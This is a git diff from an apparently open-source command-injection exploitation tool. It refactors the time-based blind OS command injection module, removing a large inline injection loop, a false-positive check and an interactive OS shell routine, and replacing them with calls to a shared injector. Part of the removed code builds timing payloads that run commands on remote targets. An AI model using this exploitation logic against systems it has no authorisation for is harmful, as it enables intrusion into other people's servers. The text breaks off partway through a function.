url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(1, 10) - randv2 = random.randrange(1, 10) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - - if checks.time_relative_shell(url_time_response, how_long, timesec) : - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - else: - break - - # False positive - else: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - else: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_relative_shell(url_time_response, how_long, timesec): - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - tb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Check for any system file access options. - tb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - checks.time_delay_recommendation() - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - settings.print_data_to_stdout(settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - common.invalid_option(gotshell) - pass - # break - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -419,7 +62,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, common.invalid_option(proceed_option) pass else: - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: + tmp_path = "" + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATIVE_ATTACK = False return False # eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index cd3e9010c6..5d5b83bf4d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -13,523 +13,24 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.utils import common -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.blind.techniques.time_based import tb_payloads +from src.core.injections.controller import injector """ The "time-based" injection technique on Blind OS Command Injection. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - if menu.options.file_write or menu.options.file_upload: - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - for output_length in range(int(minlen), int(maxlen)): - if alter_shell: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Presuming the execution output." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - else: - info_msg += "\n" - if output_length > 1: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - info_msg = "Presuming the execution output." - info_msg += float_percent - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - else: - output.append(chr(ascii_char)) - injection_check = False - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * settings.SINGLE_WHITESPACE): - output = "" - - else: - check_start = 0 - check_how_long = 0 - output = "" - - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): + OUTPUT_TEXTFILE = "" + return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - found_chars = False - checks.check_for_false_positive_result(false_positive_warning) - - # Varying the sleep time. - if false_positive_warning: - timesec = timesec + random.randint(3, 5) - - # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Execute shell commands on vulnerable host. - if alter_shell: - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + OUTPUT_TEXTFILE = "" + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 20): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - return how_long, output - - else: - checks.unexploitable_point() - - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_output(output)) - else: - # Check if exists pipe filtration. - if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " - err_msg += "any output due to '" + separator + "' filtration on target host. " - err_msg += "To bypass that limitation, use the '--alter-shell' option " - err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check for fault command. - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82d22df7b1..511ddf0baa 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,6 +36,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters from src.thirdparty.six.moves import input as _input @@ -57,13 +58,14 @@ except: settings.READLINE_ERROR = True +""" +Exiting +""" def exit(): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Ending")) os._exit(0) - - """ Detection of WAF/IPS protection. """ @@ -109,6 +111,19 @@ def payload_fixation(payload): payload = _urllib.parse.quote(payload) return payload +""" +""" +def get_response(output): + request = _urllib.request.Request(output) + headers.do_check(request) + headers.check_http_traffic(request) + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + """ Check for non custom parameters. """ @@ -135,7 +150,7 @@ def process_non_custom(): Process data with custom injection marker character ('*'). """ def process_custom_injection_data(data): - if settings.CUSTOM_INJECTION_MARKER != None: + if settings.CUSTOM_INJECTION_MARKER != None and isinstance(data, str): _ = [] for data in data.split("\\n"): if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: @@ -1172,6 +1187,15 @@ def error_loading_session_file(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +EOFError +""" +def EOFError_err_msg(): + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + """ Message regarding unexpected time delays """ @@ -1184,11 +1208,10 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays have been identified due to unstable " - message += "requests and may lead to false-positive results. " + message = "Unexpected time delays have been identified and may lead to false-positive results." settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip] > " + message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1205,11 +1228,12 @@ def time_delay_due_to_unstable_request(timesec): pass """ +Time relative shell condition """ -def time_relative_shell(url_time_response, how_long, timesec): - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)): +def time_relative_shell(url_time_response, exec_time, timesec): + if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ + (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ + (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): return True else: return False @@ -2794,5 +2818,163 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, sub_content = str(url_decode(payload)) settings.print_data_to_stdout(settings.print_sub_content(sub_content)) +""" +Finalize injection process +""" +def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + if exit_loops == False: + if settings.VERBOSITY_LEVEL == 0: + percent = print_percentage(float_percent, no_result, shell) + injection_process(injection_type, technique, percent) + return True + else: + return True + else: + return False + +""" +Provide custom server's root directory +""" +def custom_web_root(url, timesec, filename, http_request_method, url_time_response): + if not settings.CUSTOM_WEB_ROOT: + if settings.TARGET_OS == settings.OS.WINDOWS : + default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + else: + default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + message = "Enter what you want to use for writable directory (e.g. '" + message += default_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) + if len(settings.WEB_ROOT) == 0: + settings.WEB_ROOT = default_root_dir + settings.CUSTOM_WEB_ROOT = True + + if not settings.LOAD_SESSION: + path = settings.WEB_ROOT + setting_writable_dir(path) + menu.options.web_root = settings.WEB_ROOT.strip() + + +""" +Return TEMP path for win / *nix targets. +""" +def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + def check_trailing_slashes(): + if settings.TARGET_OS == settings.OS.WINDOWS and not 